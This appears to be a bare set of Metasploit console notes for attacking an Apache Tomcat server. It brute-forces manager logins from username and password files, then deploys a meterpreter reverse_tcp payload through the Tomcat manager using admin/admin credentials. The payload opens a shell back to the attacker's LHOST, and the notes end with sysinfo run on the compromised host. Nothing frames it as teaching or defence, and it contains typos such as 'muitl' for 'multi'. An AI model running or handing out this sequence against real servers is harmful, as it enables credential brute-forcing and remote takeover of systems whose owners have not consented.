use scanner/http/tomcat_mgr_login
show options
setg RHOST IP
setg RPORT port
set USER_FILE /ROOT/USER.TXT
set PASS_FILE /root/pass.txt
exploit
use muitl/http/tomcat_mgr_deploy
show options
set RHOST ip
set USERNAME admin
set PASSWORD admin
set payload linux/x86/meterpreter/reverse_tcp
show options
set LHOST ip
exploit
set payload linux/x86/meterpreter/reverse_tcp
exploit
sysinfo